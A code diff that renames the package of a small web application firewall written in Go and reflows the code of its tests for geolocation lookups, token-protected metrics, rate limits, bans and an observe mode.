addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
|
||||||
t,
|
|
||||||
app.URL,
|
|
||||||
geojsURL,
|
|
||||||
clk.Now,
|
|
||||||
map[string]string{
|
map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
alertWebhookURL: "https://alerts.example/sww",
|
alertWebhookURL: "https://alerts.example/sww",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
},
|
})
|
||||||
)
|
|
||||||
s := &sender{t: t, addr: addr, out: out}
|
s := &sender{t: t, addr: addr, out: out}
|
||||||
|
|
||||||
// The answer is kept before the requests, so GeoJS is not asked, and
|
// The answer is kept before the requests, so GeoJS is not asked, and
|
||||||
@@ -240,17 +213,11 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
s, clk, server := startWithClock(
|
s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
|
||||||
t,
|
|
||||||
geojsURL,
|
|
||||||
map[string]string{lookupSource: "off"},
|
|
||||||
)
|
|
||||||
|
|
||||||
// Even an answer kept from before is not used.
|
// Even an answer kept from before is not used.
|
||||||
server.GeoJS.Load([]lookup.Answer{{
|
server.GeoJS.Load([]lookup.Answer{{
|
||||||
Client: netip.MustParsePrefix(
|
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
|
||||||
fromDE + "/32",
|
|
||||||
), ASN: asnDE, ASName: asNameDE,
|
|
||||||
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
|
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
|
||||||
}})
|
}})
|
||||||
|
|
||||||
@@ -263,13 +230,8 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if h := historyOf(t, server, fromDE); h.ASN != "" ||
|
if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
|
||||||
!h.LookedUp.IsZero() {
|
t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
|
||||||
t.Errorf(
|
|
||||||
"history has %q, looked up at %s, want no lookup",
|
|
||||||
h.ASN,
|
|
||||||
h.LookedUp,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(asked()) != 0 {
|
if len(asked()) != 0 {
|
||||||
@@ -277,9 +239,7 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(
|
func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
@@ -337,9 +297,7 @@ func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
|
func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -352,23 +310,15 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
|
|||||||
defer mu.Unlock()
|
defer mu.Unlock()
|
||||||
|
|
||||||
got = append(got, [2][]string{
|
got = append(got, [2][]string{
|
||||||
r.Header.Values(
|
r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
|
||||||
"X-Client-Asn",
|
|
||||||
), r.Header.Values("X-Client-Country"),
|
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out, _ := startProxyWithClock(
|
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
|
||||||
t,
|
trustedProxies: trustLocalhost,
|
||||||
app.URL,
|
lookupTimeout: "1h",
|
||||||
geojsURL,
|
addLookupHeaders: on,
|
||||||
time.Now,
|
})
|
||||||
map[string]string{
|
|
||||||
trustedProxies: trustLocalhost,
|
|
||||||
lookupTimeout: "1h",
|
|
||||||
addLookupHeaders: on,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
s := &sender{t: t, addr: addr, out: out}
|
s := &sender{t: t, addr: addr, out: out}
|
||||||
|
|
||||||
// Each client sends headers of its own. fromDE's first request waits
|
// Each client sends headers of its own. fromDE's first request waits
|
||||||
@@ -390,9 +340,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -404,22 +352,12 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
|||||||
mu.Lock()
|
mu.Lock()
|
||||||
defer mu.Unlock()
|
defer mu.Unlock()
|
||||||
|
|
||||||
asn, country = r.Header.Values(
|
asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
|
||||||
"X-Client-Asn",
|
|
||||||
), r.Header.Values(
|
|
||||||
"X-Client-Country",
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out, _ := startProxyWithClock(
|
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
|
||||||
t,
|
trustedProxies: trustLocalhost,
|
||||||
app.URL,
|
})
|
||||||
geojsURL,
|
|
||||||
time.Now,
|
|
||||||
map[string]string{
|
|
||||||
trustedProxies: trustLocalhost,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
s := &sender{t: t, addr: addr, out: out}
|
s := &sender{t: t, addr: addr, out: out}
|
||||||
|
|
||||||
s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
|
s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
|
||||||
@@ -429,11 +367,8 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
|||||||
defer mu.Unlock()
|
defer mu.Unlock()
|
||||||
|
|
||||||
if asn != nil || country != nil {
|
if asn != nil || country != nil {
|
||||||
t.Errorf(
|
t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
|
||||||
"the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
|
asn, country)
|
||||||
asn,
|
|
||||||
country,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -444,13 +379,13 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
|||||||
// clock of the test's own: the wait lasts exactly as long as it should,
|
// clock of the test's own: the wait lasts exactly as long as it should,
|
||||||
// however slowly the test process runs. Nothing in it may wait on the
|
// however slowly the test process runs. Nothing in it may wait on the
|
||||||
// network, which would keep that clock from moving on: the request is
|
// network, which would keep that clock from moving on: the request is
|
||||||
// handed to waf's handler, and GeoJS is one that never answers.
|
// handed to discriminator's handler, and GeoJS is one that never answers.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
// Not the default. The exclusive list needs the answer, and the app
|
// Not the default. The exclusive list needs the answer, and the app
|
||||||
// is never reached.
|
// is never reached.
|
||||||
const timeout = 3 * time.Second
|
const timeout = 3 * time.Second
|
||||||
|
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
lookupTimeout: timeout.String(),
|
lookupTimeout: timeout.String(),
|
||||||
allowedCountries: "DE",
|
allowedCountries: "DE",
|
||||||
@@ -461,11 +396,7 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
|||||||
serveFromDE(t, server, http.MethodGet, http.NoBody)
|
serveFromDE(t, server, http.MethodGet, http.NoBody)
|
||||||
|
|
||||||
if waited := time.Since(began); waited != timeout {
|
if waited := time.Since(began); waited != timeout {
|
||||||
t.Errorf(
|
t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
|
||||||
"the request waited %s for its answer, want %s",
|
|
||||||
waited,
|
|
||||||
timeout,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Without an answer, the client is in no country the list allows.
|
// Without an answer, the client is in no country the list allows.
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"io"
|
"io"
|
||||||
@@ -11,9 +11,9 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -32,13 +32,8 @@ func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
|||||||
|
|
||||||
// An empty token does not match the unset one either.
|
// An empty token does not match the unset one either.
|
||||||
for _, authorization := range []string{bearer, "Bearer ", ""} {
|
for _, authorization := range []string{bearer, "Bearer ", ""} {
|
||||||
s.ownEndpointRequest(
|
s.ownEndpointRequest(authorization, http.MethodGet, discriminator.MetricsPath, "",
|
||||||
authorization,
|
http.StatusNotFound)
|
||||||
http.MethodGet,
|
|
||||||
waf.MetricsPath,
|
|
||||||
"",
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -51,27 +46,21 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
|
|||||||
method, path, authorization string
|
method, path, authorization string
|
||||||
status int
|
status int
|
||||||
}{
|
}{
|
||||||
{http.MethodGet, waf.MetricsPath, "", http.StatusUnauthorized},
|
{http.MethodGet, discriminator.MetricsPath, "", http.StatusUnauthorized},
|
||||||
{
|
{
|
||||||
http.MethodGet, waf.MetricsPath, "Bearer " + strings.ToUpper(token),
|
http.MethodGet, discriminator.MetricsPath, "Bearer " + strings.ToUpper(token),
|
||||||
http.StatusUnauthorized,
|
http.StatusUnauthorized,
|
||||||
},
|
},
|
||||||
{http.MethodGet, waf.MetricsPath, "Basic " + token,
|
{http.MethodGet, discriminator.MetricsPath, "Basic " + token,
|
||||||
http.StatusUnauthorized},
|
http.StatusUnauthorized},
|
||||||
{http.MethodGet, waf.MetricsPath, bearer, http.StatusOK},
|
{http.MethodGet, discriminator.MetricsPath, bearer, http.StatusOK},
|
||||||
{http.MethodGet, waf.MetricsPath, "bearer " + token, http.StatusOK},
|
{http.MethodGet, discriminator.MetricsPath, "bearer " + token, http.StatusOK},
|
||||||
{http.MethodPost, waf.MetricsPath, bearer, http.StatusNotFound},
|
{http.MethodPost, discriminator.MetricsPath, bearer, http.StatusNotFound},
|
||||||
{http.MethodGet, waf.MetricsPath + "/", bearer, http.StatusNotFound},
|
{http.MethodGet, discriminator.MetricsPath + "/", bearer, http.StatusNotFound},
|
||||||
{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
|
{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
|
||||||
{http.MethodPost, waf.HealthPath, "", http.StatusNotFound},
|
{http.MethodPost, discriminator.HealthPath, "", http.StatusNotFound},
|
||||||
} {
|
} {
|
||||||
got := s.ownEndpointRequest(
|
got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
|
||||||
tc.authorization,
|
|
||||||
tc.method,
|
|
||||||
tc.path,
|
|
||||||
"",
|
|
||||||
tc.status,
|
|
||||||
)
|
|
||||||
|
|
||||||
if tc.status == http.StatusUnauthorized &&
|
if tc.status == http.StatusUnauthorized &&
|
||||||
got.header.Get("WWW-Authenticate") != "Bearer" {
|
got.header.Get("WWW-Authenticate") != "Bearer" {
|
||||||
@@ -80,10 +69,7 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if tc.status == http.StatusOK &&
|
if tc.status == http.StatusOK &&
|
||||||
!strings.Contains(
|
!strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
|
||||||
string(got.body),
|
|
||||||
"# TYPE sww_requests_total counter",
|
|
||||||
) {
|
|
||||||
t.Errorf("the metrics are\n%s", got.body)
|
t.Errorf("the metrics are\n%s", got.body)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -99,10 +85,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
|
|||||||
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
|
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
|
||||||
map[string]string{metricsToken: token})
|
map[string]string{metricsToken: token})
|
||||||
|
|
||||||
got := do(
|
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
|
||||||
t,
|
|
||||||
newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
|
|
||||||
)
|
|
||||||
wantStatus(t, got, http.StatusOK)
|
wantStatus(t, got, http.StatusOK)
|
||||||
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
|
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
|
||||||
out.endedLines(t, 2)
|
out.endedLines(t, 2)
|
||||||
@@ -149,26 +132,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
|||||||
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
metrics := s.scrape()
|
metrics := s.scrape()
|
||||||
wantMetric(
|
wantMetric(t, metrics,
|
||||||
t,
|
`sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1)
|
||||||
metrics,
|
|
||||||
`sww_requests_total{action="client_denied",instance="app",status_class="none"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
||||||
`kind="requests",window="minute"}`, 1)
|
`kind="requests",window="minute"}`, 1)
|
||||||
wantMetric(
|
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
|
||||||
t,
|
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
|
||||||
metrics,
|
|
||||||
`sww_offences_total{instance="app",kind="limit"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(
|
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_bans_made_total{cause="limit",instance="app"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
|
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
|
||||||
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
|
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
|
||||||
|
|
||||||
@@ -183,18 +152,8 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
|||||||
metrics = s.scrape()
|
metrics = s.scrape()
|
||||||
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
||||||
`kind="requests",window="minute"}`, 2)
|
`kind="requests",window="minute"}`, 2)
|
||||||
wantMetric(
|
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
|
||||||
t,
|
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
|
||||||
metrics,
|
|
||||||
`sww_offences_total{instance="app",kind="limit"}`,
|
|
||||||
2,
|
|
||||||
)
|
|
||||||
wantMetric(
|
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_bans_made_total{cause="limit",instance="app"}`,
|
|
||||||
2,
|
|
||||||
)
|
|
||||||
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
|
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
|
||||||
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
|
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
|
||||||
// denied and client.
|
// denied and client.
|
||||||
@@ -222,7 +181,7 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
|
|||||||
wantMetric(t, s.scrape(), admins, 1)
|
wantMetric(t, s.scrape(), admins, 1)
|
||||||
|
|
||||||
// And a ban made through the endpoint.
|
// And a ban made through the endpoint.
|
||||||
s.admin(http.MethodPost, waf.BansPath, banOtherClient, http.StatusOK)
|
s.admin(http.MethodPost, discriminator.BansPath, banOtherClient, http.StatusOK)
|
||||||
wantMetric(t, s.scrape(), admins, 2)
|
wantMetric(t, s.scrape(), admins, 2)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -242,14 +201,12 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
|
|||||||
allowedCountries: "de,fr",
|
allowedCountries: "de,fr",
|
||||||
}
|
}
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL,
|
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
|
||||||
time.Now, env)
|
|
||||||
|
|
||||||
// The answers are kept before the requests, so that none waits for
|
// The answers are kept before the requests, so that none waits for
|
||||||
// GeoJS.
|
// GeoJS.
|
||||||
server.GeoJS.Load([]lookup.Answer{
|
server.GeoJS.Load([]lookup.Answer{
|
||||||
keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"),
|
keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
|
||||||
keptAnswer(fromFR, "FR"),
|
|
||||||
})
|
})
|
||||||
|
|
||||||
lines := 0
|
lines := 0
|
||||||
@@ -257,8 +214,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for range times {
|
for range times {
|
||||||
body := strings.NewReader("abc")
|
req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
|
||||||
req := newRequest(t, http.MethodPost, addr, "/", body)
|
|
||||||
req.Header.Set(forwardedFor, from)
|
req.Header.Set(forwardedFor, from)
|
||||||
wantStatus(t, do(t, req), status)
|
wantStatus(t, do(t, req), status)
|
||||||
|
|
||||||
@@ -315,9 +271,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
|
|||||||
`sww_country_request_bytes_total{country="DE",instance="app"}`)
|
`sww_country_request_bytes_total{country="DE",instance="app"}`)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(
|
func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
@@ -393,12 +347,7 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
|
|||||||
|
|
||||||
wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
|
wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
|
||||||
wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
|
wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
|
||||||
wantMetric(
|
wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1)
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_requests_without_geojs_answer_total{instance="app"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// keptAnswer returns GeoJS's answer that the client at addr is in
|
// keptAnswer returns GeoJS's answer that the client at addr is in
|
||||||
@@ -412,12 +361,12 @@ func keptAnswer(addr, country string) lookup.Answer {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// scrape asks waf at addr for the metrics, with the token, and returns
|
// scrape asks discriminator at addr for the metrics, with the token, and returns
|
||||||
// them.
|
// them.
|
||||||
func scrape(t *testing.T, addr string) string {
|
func scrape(t *testing.T, addr string) string {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, waf.MetricsPath, http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, discriminator.MetricsPath, http.NoBody)
|
||||||
req.Header.Set("Authorization", bearer)
|
req.Header.Set("Authorization", bearer)
|
||||||
|
|
||||||
got := do(t, req)
|
got := do(t, req)
|
||||||
@@ -432,10 +381,8 @@ func scrape(t *testing.T, addr string) string {
|
|||||||
func (s *sender) scrape() string {
|
func (s *sender) scrape() string {
|
||||||
s.t.Helper()
|
s.t.Helper()
|
||||||
|
|
||||||
return string(
|
return string(s.ownEndpointRequest(bearer, http.MethodGet, discriminator.MetricsPath,
|
||||||
s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath,
|
"", http.StatusOK).body)
|
||||||
"", http.StatusOK).body,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// metric returns the value of series in metrics, which are in the
|
// metric returns the value of series in metrics, which are in the
|
||||||
@@ -447,10 +394,7 @@ func metric(t *testing.T, metrics, series string) float64 {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for line := range strings.Lines(metrics) {
|
for line := range strings.Lines(metrics) {
|
||||||
value, found := strings.CutPrefix(
|
value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
|
||||||
strings.TrimSuffix(line, "\n"),
|
|
||||||
series+" ",
|
|
||||||
)
|
|
||||||
if !found {
|
if !found {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -67,12 +67,7 @@ func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
|
|||||||
server.Ledger.Load([]bans.Ban{ban})
|
server.Ledger.Load([]bans.Ban{ban})
|
||||||
|
|
||||||
if modeValue == observe {
|
if modeValue == observe {
|
||||||
line := s.request(
|
line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
tc.path,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, tc.want)
|
wantWouldAction(t, line, tc.want)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -98,21 +93,12 @@ func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) {
|
|||||||
Cause: bans.CauseAttack,
|
Cause: bans.CauseAttack,
|
||||||
}})
|
}})
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/wp-login.php",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
|
wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
|
if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
|
||||||
t.Errorf(
|
t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan)
|
||||||
"alerts waiting are %+v, want one %s",
|
|
||||||
waiting,
|
|
||||||
alerts.EventPermanentBan,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -177,22 +163,14 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
|
|||||||
{fromDE, requestlog.ActionClientIsRateLimited},
|
{fromDE, requestlog.ActionClientIsRateLimited},
|
||||||
} {
|
} {
|
||||||
if !tc.observe {
|
if !tc.observe {
|
||||||
line := s.get(
|
line := s.get(sent.from, http.StatusForbidden, sent.refusal)
|
||||||
sent.from,
|
|
||||||
http.StatusForbidden,
|
|
||||||
sent.refusal,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, "")
|
wantWouldAction(t, line, "")
|
||||||
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
// Passed to the app, which answered it.
|
// Passed to the app, which answered it.
|
||||||
line := s.get(
|
line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
|
||||||
sent.from,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, sent.refusal)
|
wantWouldAction(t, line, sent.refusal)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -222,16 +200,11 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
|
|||||||
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
|
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
if line.LimitHit != minute ||
|
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
|
||||||
line.Offence != requestlog.OffenceLimit ||
|
|
||||||
line.BanExpires != "" {
|
line.BanExpires != "" {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||||
"log line has limit_hit %q, offence %q and ban_expires %q, "+
|
"want minute, limit and none", line.LimitHit, line.Offence,
|
||||||
"want minute, limit and none",
|
line.BanExpires)
|
||||||
line.LimitHit,
|
|
||||||
line.Offence,
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
// Package waf is the server the waf command runs. It answers
|
// Package discriminator is the server the discriminator command runs. It answers
|
||||||
// rproxy's questions, takes rproxy's reports and answers its own endpoints, and
|
// rproxy's questions, takes rproxy's reports and answers its own endpoints, and
|
||||||
// writes a log line for each.
|
// writes a log line for each.
|
||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
@@ -25,11 +25,11 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ownEndpointPrefix starts the path of each of waf's own endpoints. The app
|
// ownEndpointPrefix starts the path of each of discriminator's own endpoints. The app
|
||||||
// never sees a path under it.
|
// never sees a path under it.
|
||||||
const ownEndpointPrefix = "/_sww/"
|
const ownEndpointPrefix = "/_sww/"
|
||||||
|
|
||||||
// HealthPath is the health endpoint of waf and of rproxy, which the
|
// HealthPath is the health endpoint of discriminator and of rproxy, which the
|
||||||
// container's health check asks.
|
// container's health check asks.
|
||||||
const HealthPath = "/_sww/healthz"
|
const HealthPath = "/_sww/healthz"
|
||||||
|
|
||||||
@@ -41,7 +41,7 @@ const MetricsPath = "/_sww/metrics"
|
|||||||
// a client's address, lifts them, with SWW_ADMIN_TOKEN.
|
// a client's address, lifts them, with SWW_ADMIN_TOKEN.
|
||||||
const BansPath = "/_sww/bans"
|
const BansPath = "/_sww/bans"
|
||||||
|
|
||||||
// ClientsPath is where an admin asks what waf knows of a client, by
|
// ClientsPath is where an admin asks what discriminator knows of a client, by
|
||||||
// the client's address after it, with SWW_ADMIN_TOKEN.
|
// the client's address after it, with SWW_ADMIN_TOKEN.
|
||||||
const ClientsPath = "/_sww/clients/"
|
const ClientsPath = "/_sww/clients/"
|
||||||
|
|
||||||
@@ -49,7 +49,7 @@ const ClientsPath = "/_sww/clients/"
|
|||||||
type Params struct {
|
type Params struct {
|
||||||
Config *config.Config
|
Config *config.Config
|
||||||
// RequestLog receives two JSON lines per question, one at its decision and
|
